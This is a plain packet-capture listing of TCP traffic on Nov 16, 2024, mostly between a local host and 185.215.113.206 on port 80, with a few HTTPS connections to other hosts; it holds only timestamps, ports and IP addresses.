Nov 16, 2024 13:01:40.117050886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117069960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117079973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117086887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117086887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117091894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117105007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117117882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117127895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117131948 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117132902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117157936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117166996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117168903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117219925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117225885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117230892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117305040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117306948 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117317915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117330074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117340088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117374897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117374897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117404938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117414951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117425919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117465973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117479086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117479086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117511034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117520094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117521048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117541075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117552996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117557049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117567062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117578030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117604017 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117604017 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117635012 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117655993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117667913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117679119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117688894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.117716074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117716074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.117743969 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118465900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118477106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118488073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118496895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118508101 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118541002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118558884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118604898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118622065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118630886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118675947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118675947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118777990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118788958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118798018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118808031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118818998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118829012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118839025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118845940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118845940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118851900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118864059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118875027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118885040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118885994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118885994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118896961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118905067 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118915081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118927002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118938923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118947983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118957996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.118966103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.118966103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119004011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119004011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119110107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119122028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119164944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119164944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119246006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119395971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119451046 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119539976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119550943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119592905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119699001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119774103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.119796038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.119966030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120016098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.120119095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120192051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120203018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120249987 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.120249987 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.120327950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120385885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.120485067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120698929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120748043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.120891094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.120903015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121067047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121228933 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121241093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121296883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121296883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121367931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121407032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121563911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121721029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121771097 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121876955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121887922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121896982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.121943951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.121943951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122013092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122064114 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122140884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122150898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122200966 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122621059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122631073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122684956 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122684956 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122772932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122783899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122840881 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122939110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122951031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122961044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122971058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122981071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.122983932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.122992039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123011112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123020887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123035908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123035908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123035908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123044968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123054981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123065948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123075008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123084068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123094082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123104095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123105049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123105049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123115063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123126030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123136044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123143911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123143911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123147964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123164892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123179913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123181105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123193979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123203993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123214006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123223066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123229980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123230934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123235941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123245955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123253107 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123256922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123282909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123301029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123303890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123303890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123327971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123336077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123337030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123353004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123361111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123368025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123378038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123379946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123389959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123400927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123411894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123411894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123423100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123442888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123442888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123449087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123470068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123481035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123490095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123500109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123508930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123508930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123509884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123521090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123532057 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123532057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123542070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123553038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123560905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123570919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123579979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123579979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123586893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123605013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123615026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123620987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123635054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123636961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123645067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123655081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123665094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123676062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123676062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123676062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123686075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123697042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123707056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123714924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123714924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123729944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123738050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123753071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123764038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123774052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123785019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123785019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123785019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123795033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123806000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123815060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123816013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123816013 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123826981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123836994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123847008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123857021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123867989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123871088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123871088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123881102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123889923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123899937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123904943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123904943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123909950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123923063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123933077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123944044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123954058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123958111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123959064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123965025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123975992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123991013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.123992920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.123992920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.124008894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.124020100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.124033928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.124034882 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.124034882 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.124046087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.124090910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.124138117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.131771088 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.131786108 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.145936966 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.145991087 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.146289110 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.146296978 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.146433115 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.149606943 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.149622917 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.149672031 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.149682999 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.149709940 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.149771929 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.154113054 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.161427021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.161437988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.161448002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.161458969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.161555052 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.161555052 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.181179047 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.181195021 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.181737900 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.196599007 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.197088003 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.197582960 CET	49893	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.197628021 CET	443	49893	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.197866917 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.197892904 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.197972059 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.199179888 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.199204922 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.214713097 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.214726925 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.218811989 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:40.219928980 CET	443	49900	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.222246885 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.222268105 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.222827911 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.222834110 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.235420942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235495090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235506058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235507965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235551119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235563040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235574007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235586882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235591888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235591888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235634089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235635042 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235663891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235702991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235718966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235730886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235743046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235752106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235764027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.235764027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235764027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.235775948 CET	80	49802	185.215.113.206	192.168.2.5
